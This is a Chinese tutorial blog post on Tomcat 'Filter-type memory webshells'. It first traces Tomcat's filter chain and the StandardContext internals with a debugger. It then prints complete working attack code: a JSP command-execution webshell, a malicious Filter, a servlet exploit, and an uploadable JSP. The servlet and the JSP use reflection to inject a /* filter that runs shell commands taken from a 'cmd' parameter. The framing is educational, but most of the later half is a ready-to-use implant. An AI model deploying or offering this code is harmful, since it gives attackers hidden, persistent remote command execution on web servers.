内存马系列--Filter型
参考文章:
- Java内存马系列-03-Tomcat 之 Filter 型内存马 | Drunkbaby’s Blog
- [Java安全-Tomcat 之 Filter 型内存马 - huangdi’s blog](https://huang-d1.github.io/2025/10/16/Java安全-Tomcat 之 Filter 型内存马/)
- JavaSec/5.内存马学习/Tomcat/Tomcat-Filter型内存马/Tomcat-Filter型内存马.md at main · Y4tacker/JavaSec
- Java 内存马第二篇 - Tomcat 内存马 | xvsf
- 内存马系列–Filter型 - bxhhf
先回顾一下:Filter主要就是通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作
流程图:

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
所以我们后文的目标:动态注册恶意 Filter,并且将其放到 最前面
Tomcat Filter 流程分析
环境搭建
- Tomcat 8.5.81
先起一个servlet

导入依赖:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>自定义filter类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}然后修改 web.xml 文件,这里我们设置url-pattern为 /filter 即访问 /filter 才会触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>
在访问 /filter 之后的流程分析
先来分析 doFilter() 方法之后的东西
流程分析之前,需要像刚才导入 Servlet.jar 一样,导入 catalina.jar 这个包,以及 tomcat-websocket 包。
导入完毕之后,我们在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口,至此,调试正式开始。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.0</version>
</dependency>
```
- 从这里开始

- 访问`http://localhost:8080/filter_war_exploded/filter`才会打到断点
跟进之后走到了`ApplicationFilterChain` 类的 `doFilter()` 方法
它主要是进行了 `Globals.IS_SECURITY_ENABLED`判断,也就是**全局安全服务**是否开启的判断。

- 继续往下走,到了`internalDoFilter`
步入`ApplicationFilterChain` 类的 `internalDoFilter()` 方法,进去看一下逻辑

`internalDoFilter`里面的`filter`是通过`ApplicationFilterConfig filterConfig = filters[pos++];`得到的
这是的定义:
```java
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0]; 
此时我们可以看到,这个filters里面有两个filters

filters0是我们自己的filters,而filters1是tomcat 自带的 filter
因为此时 pos 是 1 所以取到 tomcat 的 filter

filters[pos++]就使得filters取到 tomcat 的 filter
我们继续往里走,这里就调用了
tomcat 的 filter 的 doFilter()方法
再往下走,会走到
chain.doFilter()这个地方
我们会发现这一个方法会回到
ApplicationFilterChain类的 DoFilter() 方法里面
再看

现在pos是2,n也是2,不进判断
最终到了这里

那么为什么又会回到ApplicationFilterChain的DoFilter()呢??
这是因为 filter 调用的过程就是按顺序执行 FilterChain 里的 filter,每个 filter 里的 chain.doFilter 都是调用下一个 filter 的 doFilter,直到走到 tomcat 自带的最后一个 filter 调用 servlet 的 service 方法
只要 Filter 链中任意一个 Filter 没有调用
FilterChain.doFilter()方法,则目标Servlet.service()方法都不会被执行。
至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()
在访问 /filter 之前的流程分析
分析目的在于:假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。
我们可以把断点下在最远的一处
invoke() 方法的地方,逆向分析前面的断点
我们看到现在的类是
StandardEngineValve,对应的 Pipeline 就是EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是AbstractAccessLogValve类的 invoke() 方法。其实这一步已经安排了一个request, wrapper, servlet传递的顺序。
接着是
AbstractAccessLogValve类的 invoke() 方法,然后就是一步步调用 invoke() 方法
Tomcat 中,每个容器都有一个 Pipeline(管道),管道里装着多个 Valve(阀门)
invoke是Valve` 接口中定义的核心方法请求进入管道后,会依次调用每个 Valve 的
invoke()。每个 Valve 处理完自己的逻辑(如记录日志、身份认证)后,会调用getNext().invoke()将请求传给下一个阀门。用一张图来表示一下:

看一下每个经过的类(主要关注不属于tomcat架构的类)有什么用
StandardWrapperValve (调用位置:
invoke:96)- 类:
StandardWrapperValve继承自ValveBase,是 Tomcat 中用来处理请求的管道组件。 - 作用:负责请求到达 Tomcat 容器时,分配到具体的 Servlet,并执行该 Servlet 的生命周期方法(如
service())。它也处理对ServletRequest和ServletResponse的封装。
StandardContextValve (调用位置:
invoke:97)- 类:
StandardContextValve是 Tomcat 中处理 web 应用的上下文的管道组件。 - 作用:它主要处理请求的上下文(Context),会负责识别请求是否符合应用的配置要求,过滤掉无效的请求,或者将请求转发到合适的 Servlet 或 JSP。
AuthenticatorBase (调用位置:
invoke:543)- 类:
AuthenticatorBase是 Tomcat 认证过程的基类,提供基本的身份验证机制。 - 作用:当请求需要进行身份验证时,这个类会处理相关的认证操作。通常是在用户请求资源时,验证用户的身份信息是否正确(比如 HTTP 基本认证或表单认证)。
StandardHostValve (调用位置:
invoke:135)- 类:
StandardHostValve是用于处理虚拟主机请求的 Valve。 - 作用:它处理请求是否属于当前的虚拟主机(Host),根据虚拟主机的配置来路由请求。虚拟主机是 Tomcat 支持多站点的功能,用来根据域名分发请求到不同的应用。
ErrorReportValve (调用位置:
invoke:92)- 类:
ErrorReportValve负责在请求处理过程中出错时生成错误报告。 - 作用:当发生错误(例如 HTTP 错误 404 或 500)时,
ErrorReportValve会生成详细的错误信息(如堆栈跟踪)并将其返回给客户端。
AbstractAccessLogValve (调用位置:
invoke:698)- 类:
AbstractAccessLogValve是用于记录访问日志的基类。 - 作用:它负责将请求的详细信息(如请求的 URL、时间戳、客户端 IP 等)记录到日志文件中,以供后续分析。它支持灵活的日志格式配置,并且是 Tomcat 默认启用的访问日志功能的基础。
StandardEngineValve (调用位置:
invoke:78)- 类:
StandardEngineValve是 Tomcat 中的引擎级别的 Valve,负责处理跨应用的请求。 - 作用:它是在 Tomcat 中对整个引擎(Engine)进行请求处理的组件。在请求到达应用之前,它负责进行一些全局级的操作,比如进行负载均衡、跨应用请求的转发等。
至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是
doFilter()方法。这个doFilter()方法也是由最近的那个 invoke() 方法调用的。- 类:
下在这里

这里我们要重点关注前文我们提到的
filterChain是什么?简单说就是:FilterChain(过滤器链)就是将Filter串联起来,决定先后执行顺序,是一个动态生成的执行列表

我们跟进
createFilterChain()这个方法

内部使用
ApplicationFilterFactory.createFilterChain()创建了一个过滤链,将request, wrapper, servlet进行传递。我们在
createFilterChain()方法走一下流程先是Tomcat 会尝试获取或创建一个空的链条容器

ApplicationFilterChain是 Filter 的载体。Tomcat 这里做了一个性能优化:如果当前请求已经有一个链条对象,就直接复用,否则创建一个新的,并把最终的目标Servlet放在链条的终点。代码开始寻找容器

StandardContext代表了你的 Web 应用。它通过findFilterMaps()获取一个数组,这个数组里存放了我们在web.xml中配置的所有<filter-mapping>信息。内存马的本质就是修改这个
filterMaps数组,向其中插入一个恶意的映射规则匹配 URL 路径,Tomcat 优先添加那些基于 URL 路径匹配的 Filter

遍历
StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
这里使用了
for循环遍历数组。谁在数组前面,谁就被先加入链条因为
matchFiltersURL匹配(如/*)的优先级最高且最先被处理,所以内存马通常伪装成一个路径为/*的 Filter,并确保自己在filterMaps数组的 0 号位置,从而实现“最先执行”。匹配 Servlet 名称,在 URL 匹配完成后,Tomcat 会进行第二次扫描

这是针对那些只拦截特定 Servlet(如
HelloServlet)的 Filter即便你的 Filter 在
web.xml里写在最后,只要你是基于 URL 路径(Path-mapped) 匹配的,你在链条中的位置也会优先于所有基于 Servlet 名称 匹配的 Filter。
这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析
流程小结
依次调用
invoke()层层调用管道,在最后一个管道的地方(调用
ApplicationFilterFactory.createFilterChain())会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配(StandardContext对filterMaps把匹配到的所有 Filter 按照顺序装进一个ApplicationFilterChain对象里)filterchain 拿出来之后
进行
doFilter()工作,将请求交给对应的 pipeline 去处理,也就是进行一个doFilter()—->internalDoFilter()—->doFilter();直到最后一个 filter 被调用。最后一个 filter
最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。
攻击思路
上面也提到了几点
主要就是构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps
filterConfig:决定了你的恶意代码是什么
filterMaps:决定了你的恶意代码何时被触发以及在链条中的位置(filterMaps中的数据对应 web.xml 中的 filter-mapping 标签)
Filter 型内存马攻击思路分析
前面我们提及要操作filterMaps来实现
而filterMaps 可以通过如下两个方法添加数据,对应的类是
StandardContext这个类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15@Override public void addFilterMap(FilterMap filterMap) { validateFilterMap(filterMap); // Add this filter mapping to our registered set filterMaps.add(filterMap); fireContainerEvent("addFilterMap", filterMap); } @Override public void addFilterMapBefore(FilterMap filterMap) { validateFilterMap(filterMap); // Add this filter mapping to our registered set filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap", filterMap); }StandardContext这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。这个容器包含这三个成员变量
filterMaps变量:包含所有过滤器的URL映射关系
filterDefs变量:包含所有过滤器包括实例内部等变量
filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的
ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应
FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据filterMaps 中的
FilterMap则记录了不同filter与UrlPattern的映射关系(
UrlPattern就是在web.xml里面对应的访问路径)1
2
3
4<filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping>
看对应的数据:ApplicationFilterConfig 里面存了什么东西

它有三个重要的东西:
一个是ServletContext,一个是filter,一个是filterDeffilterDef对应web.xml中的filter标签
1
2
3
4<filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter>从
org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name, filterConfig);添加代码如下:

通过前文分析,得出构造的主要思路如下
- 获取当前应用的
StandardContext对象 - 通过
StandardContext对象再获取filterConfigs - 接着实现自定义想要注入的
filter对象 - 然后为自定义对象的
filter创建一个FilterDef - 最后把
ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

Filter 型内存马的实现
静态演示
有回显的木马(比无回显多个输入输出)
1
2
3
4
5
6
7
8
9
10
11
12<% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); } %>
把这个恶意的有回显的🐎插入到 Filter 里面进去,也就是说要配置一个恶意的 Filter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; public class EvilFilter implements Filter { public void destroy() { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request, response); } public void init(FilterConfig config) throws ServletException { } }web.xml记得修改类名1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>EvilFilter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
动态放入
其实就是在操作
Filter,但是我们在现实操作的时候需要动态的将该 Filter 给添加进去由前面Filter实例存储分析得知
StandardContextFilter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext成为了问题的关键。(反射即可)流程图如下:
先使用反射获取
StandardContext1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//找到包装在 Facade 里的 ApplicationContext 对象。 ServletContext servletContext = request.getSession().getServletContext(); //第一层反射 (context 字段):从 ApplicationContextFacade 里拿到了内部真实的 ApplicationContext。 Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //第二层反射 (context 字段):从 ApplicationContext 里拿到了 Tomcat 最核心的容器类 StandardContext。 //注意:ApplicationContext 是对 StandardContext 的进一步包装,提供了符合 Servlet 规范的接口 Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //第三层反射:获取 StandardContext 中存储 Filter 运行实例的私有 Map String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); // 拿到这个 Map 后,你就拥有了动态增删 Filter 实例的权限,可以添加自己的恶意Filter filterConfigs = (Map) Configs.get(standardContext);接着,定义一个 Filter
作用:拦截所有经过它的请求,检查是否带有特定参数,如果有,就执行系统命令并将结果回显到网页上。
(判断+命令执行+回显)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws Filter { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); // Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };再设置
FilterDef和FilterMaps1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加 Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef) declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); //进行内部填充 standardContext.addFilterDef(o); //反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);最终将它们都添加到
filterConfig里面,再放到web.xml里面1
2
3
4
5
6Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return; }
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}访问http://localhost:8080/filter_war_exploded/demoServlet
访问http://localhost:8080/filter_war_exploded/demoServlet ?cmd=whoami

注入成功
文件上传
上传一个 .jsp 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%--
User: piggy
Date: 2026/4/06
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
final String name = "piggy";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>小结
Filter 型内存马主要就是获取到 StandContext,然后通过反射注入。表现形式为 Filter。具体的实施可以是上传 .jsp 文件